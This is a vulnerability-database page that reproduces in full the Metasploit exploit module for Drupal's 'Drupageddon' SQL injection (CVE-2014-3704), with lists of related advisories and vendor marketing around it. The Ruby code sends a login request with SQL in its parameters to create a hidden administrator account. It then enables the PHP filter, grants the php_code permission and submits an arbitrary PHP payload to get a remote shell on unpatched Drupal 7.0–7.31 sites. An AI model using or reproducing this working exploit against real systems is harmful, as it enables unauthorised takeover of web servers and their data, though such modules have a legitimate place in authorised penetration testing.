Lucene search
K

Drupal HTTP Parameter Key/Value SQL Injection Vulnerability

🗓️ 18 Oct 2014 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 139 Views

Drupal HTTP Parameter Key/Value SQL Injection (Drupageddon) vulnerability allows remote shell on vulnerable instance. Tested on Drupal 7.0 and 7.31 (fixed in 7.32)

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Drupal 7.31 CORE pre Auth SQL Injection Vulnerability
17 Oct 201400:00
zdt
0day.today
Drupal < 7.32 Pre Auth SQL Injection Vulnerability
4 Nov 201400:00
zdt
0day.today
Drupal 7.0 < 7.31 - Drupalgeddon SQL Injection (Admin Session) Exploit
29 Mar 201800:00
zdt
FreeBSD
drupal7 -- SQL injection
15 Oct 201400:00
freebsd
ArchLinux
drupal: pre-auth sql injection
16 Oct 201400:00
archlinux
Gitee
Exploit for SQL Injection in Drupal
6 Oct 202020:54
gitee
Circl
CVE-2014-3704
16 Oct 201400:00
circl
CISA
Drupal Releases Security Advisory
17 Oct 201400:00
cisa
Check Point Advisories
SQL Servers Unauthorized Commands SQL Injection - Ver2 (CVE-2014-3704)
26 Mar 201500:00
checkpoint_advisories
CVE
CVE-2014-3704
16 Oct 201400:00
cve
Rows per page
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Drupal HTTP Parameter Key/Value SQL Injection',
      'Description'    => %q{
        This module exploits the Drupal HTTP Parameter Key/Value SQL Injection
        (aka Drupageddon) in order to achieve a remote shell on the vulnerable
        instance. This module was tested against Drupal 7.0 and 7.31 (was fixed
        in 7.32).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'SektionEins',          # discovery
          'Christian Mehlmauer',  # msf module
          'Brandon Perry'         # msf module
        ],
      'References'     =>
        [
          ['CVE', '2014-3704'],
          ['URL', 'https://www.drupal.org/SA-CORE-2014-005'],
          ['URL', 'http://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html']
        ],
      'Privileged'     => false,
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        => [['Drupal 7.0 - 7.31',{}]],
      'DisclosureDate' => 'Oct 15 2014',
      'DefaultTarget'  => 0
    ))

    register_options(
    [
      OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/'])
    ], self.class)

    register_advanced_options(
    [
      OptString.new('ADMIN_ROLE', [ true, "The administrator role", 'administrator']),
      OptInt.new('ITER', [ true, "Hash iterations (2^ITER)", 10])
    ], self.class)
  end

  def uri_path
    normalize_uri(target_uri.path)
  end

  def admin_role
    datastore['ADMIN_ROLE']
  end

  def iter
    datastore['ITER']
  end

  def itoa64
    './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
  end

  # PHPs PHPASS base64 method
  def phpass_encode64(input, count)
    out = ''
    cur = 0
    while cur < count
      value = input[cur].ord
      cur += 1
      out << itoa64[value & 0x3f]
      if cur < count
        value |= input[cur].ord << 8
      end
      out << itoa64[(value >> 6) & 0x3f]
      break if cur >= count
      cur += 1

      if cur < count
        value |= input[cur].ord << 16
      end
      out << itoa64[(value >> 12) & 0x3f]
      break if cur >= count
      cur += 1
      out << itoa64[(value >> 18) & 0x3f]
    end
    out
  end

  def generate_password_hash(pass)
    # Syntax for MD5:
    # $P$ = MD5
    # one char representing the hash iterations (min 7)
    # 8 chars salt
    # MD5_raw(salt.pass) + iterations
    # MD5 phpass base64 encoded (!= encode_base64) and trimmed to 22 chars for md5
    iter_char = itoa64[iter]
    salt = Rex::Text.rand_text_alpha(8)
    md5 = Rex::Text.md5_raw("#{salt}#{pass}")
    # convert iter from log2 to integer
    iter_count = 2**iter
    1.upto(iter_count) {
      md5 = Rex::Text.md5_raw("#{md5}#{pass}")
    }
    md5_base64 = phpass_encode64(md5, md5.length)
    md5_stripped = md5_base64[0...22]
    pass = "$P\\$" + iter_char + salt + md5_stripped
    vprint_debug("#{peer} - password hash: #{pass}")

    return pass
  end

  def sql_insert_user(user, pass)
    "insert into users (uid, name, pass, mail, status) select max(uid)+1, '#{user}', '#{generate_password_hash(pass)}', '#{Rex::Text.rand_text_alpha_lower(5)}@#{Rex::Text.rand_text_alpha_lower(5)}.#{Rex::Text.rand_text_alpha_lower(3)}', 1 from users"
  end

  def sql_make_user_admin(user)
    "insert into users_roles (uid, rid) VALUES ((select uid from users where name='#{user}'), (select rid from role where name = '#{admin_role}'))"
  end

  def extract_form_ids(content)
    form_build_id = $1 if content =~ /name="form_build_id" value="(.+)" \/>/
    form_token = $1 if content =~ /name="form_token" value="(.+)" \/>/

    vprint_debug("#{peer} - form_build_id: #{form_build_id}")
    vprint_debug("#{peer} - form_token: #{form_token}")

    return form_build_id, form_token
  end

  def exploit

    # TODO: Check if option admin_role exists via admin/people/permissions/roles

    # call login page to extract tokens
    print_status("#{peer} - Testing page")
    res = send_request_cgi({
      'uri' => uri_path,
      'vars_get' => {
        'q' => 'user/login'
      }
    })

    unless res and res.body
      fail_with(Failure::Unknown, "No response or response body, bailing.")
    end

    form_build_id, form_token = extract_form_ids(res.body)

    user = Rex::Text.rand_text_alpha(10)
    pass = Rex::Text.rand_text_alpha(10)

    post = {
      "name[0 ;#{sql_insert_user(user, pass)}; #{sql_make_user_admin(user)}; # ]" => Rex::Text.rand_text_alpha(10),
      'name[0]' => Rex::Text.rand_text_alpha(10),
      'pass' => Rex::Text.rand_text_alpha(10),
      'form_build_id' => form_build_id,
      'form_id' => 'user_login',
      'op' => 'Log in'
    }

    print_status("#{peer} - Creating new user #{user}:#{pass}")
    res = send_request_cgi({
      'uri' => uri_path,
      'method' => 'POST',
      'vars_post' => post,
      'vars_get' => {
        'q' => 'user/login'
      }
    })

    unless res and res.body
      fail_with(Failure::Unknown, "No response or response body, bailing.")
    end

    # login
    print_status("#{peer} - Logging in as #{user}:#{pass}")
    res = send_request_cgi({
      'uri' => uri_path,
      'method' => 'POST',
      'vars_post' => {
        'name' => user,
        'pass' => pass,
        'form_build_id' => form_build_id,
        'form_id' => 'user_login',
        'op' => 'Log in'
      },
      'vars_get' => {
        'q' => 'user/login'
      }
    })

    unless res and res.code == 302
      fail_with(Failure::Unknown, "No response or response body, bailing.")
    end

    cookie = res.get_cookies
    vprint_debug("#{peer} - cookie: #{cookie}")

    # call admin interface to extract CSRF token and enabled modules
    print_status("#{peer} - Trying to parse enabled modules")
    res = send_request_cgi({
      'uri' => uri_path,
      'vars_get' => {
        'q' => 'admin/modules'
      },
      'cookie' => cookie
    })

    form_build_id, form_token = extract_form_ids(res.body)

    enabled_module_regex = /name="(.+)" value="1" checked="checked" class="form-checkbox"/
    enabled_matches = res.body.to_enum(:scan, enabled_module_regex).map { Regexp.last_match }

    unless enabled_matches
      fail_with(Failure::Unknown, "No modules enabled is incorrect, bailing.")
    end

    post = {
      'modules[Core][php][enable]' => '1',
      'form_build_id' => form_build_id,
      'form_token' => form_token,
      'form_id' => 'system_modules',
      'op' => 'Save configuration'
    }

    enabled_matches.each do |match|
      post[match.captures[0]] = '1'
    end

    # enable PHP filter
    print_status("#{peer} - Enabling the PHP filter module")
    res = send_request_cgi({
      'uri' => uri_path,
      'method' => 'POST',
      'vars_post' => post,
      'vars_get' => {
        'q' => 'admin/modules/list/confirm'
      },
      'cookie' => cookie
    })

    unless res and res.body
      fail_with(Failure::Unknown, "No response or response body, bailing.")
    end

    # Response: http 302, Location: http://10.211.55.50/?q=admin/modules

    print_status("#{peer} - Setting permissions for PHP filter module")

    # allow admin to use php_code
    res = send_request_cgi({
      'uri' => uri_path,
      'vars_get' => {
        'q' => 'admin/people/permissions'
      },
      'cookie' => cookie
    })


    unless res and res.body
      fail_with(Failure::Unknown, "No response or response body, bailing.")
    end

    form_build_id, form_token = extract_form_ids(res.body)

    perm_regex = /name="(.*)" value="(.*)" checked="checked"/
    enabled_perms = res.body.to_enum(:scan, perm_regex).map { Regexp.last_match }

    unless enabled_perms
      fail_with(Failure::Unknown, "No enabled permissions were able to be parsed, bailing.")
    end

    # get administrator role id
    id = $1 if res.body =~ /for="edit-([0-9]+)-administer-content-types">#{admin_role}:/
    vprint_debug("#{peer} - admin role id: #{id}")

    unless id
      fail_with(Failure::Unknown, "Could not parse out administrator ID")
    end

    post = {
      "#{id}[use text format php_code]" => 'use text format php_code',
      'form_build_id' => form_build_id,
      'form_token' => form_token,
      'form_id' => 'user_admin_permissions',
      'op' => 'Save permissions'
    }

    enabled_perms.each do |match|
      post[match.captures[0]] = match.captures[1]
    end

    res = send_request_cgi({
      'uri' => uri_path,
      'method' => 'POST',
      'vars_post' => post,
      'vars_get' => {
        'q' => 'admin/people/permissions'
      },
      'cookie' => cookie
    })

    unless res and res.body
      fail_with(Failure::Unknown, "No response or response body, bailing.")
    end

    # Add new Content page (extract csrf token)
    print_status("#{peer} - Getting tokens from create new article page")
    res = send_request_cgi({
      'uri' => uri_path,
      'vars_get' => {
        'q' => 'node/add/article'
      },
      'cookie' => cookie
    })

    unless res and res.body
      fail_with(Failure::Unknown, "No response or response body, bailing.")
    end

    form_build_id, form_token = extract_form_ids(res.body)

    # Preview to trigger the payload
    data = Rex::MIME::Message.new
    data.add_part(Rex::Text.rand_text_alpha(10), nil, nil, 'form-data; name="title"')
    data.add_part(form_build_id, nil, nil, 'form-data; name="form_build_id"')
    data.add_part(form_token, nil, nil, 'form-data; name="form_token"')
    data.add_part('article_node_form', nil, nil, 'form-data; name="form_id"')
    data.add_part('php_code', nil, nil, 'form-data; name="body[und][0][format]"')
    data.add_part("<?php #{payload.encoded} ?>", nil, nil, 'form-data; name="body[und][0][value]"')
    data.add_part('Preview', nil, nil, 'form-data; name="op"')
    data.add_part(user, nil, nil, 'form-data; name="name"')
    data.add_part('1', nil, nil, 'form-data; name="status"')
    data.add_part('1', nil, nil, 'form-data; name="promote"')
    post_data = data.to_s

    print_status("#{peer} - Calling preview page. Exploit should trigger...")
    send_request_cgi(
      'method'   => 'POST',
      'uri'      => uri_path,
      'ctype'    => "multipart/form-data; boundary=#{data.bound}",
      'data'     => post_data,
      'vars_get' => {
        'q' => 'node/add/article'
      },
      'cookie' => cookie
    )
  end
end

#  0day.today [2018-03-28]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation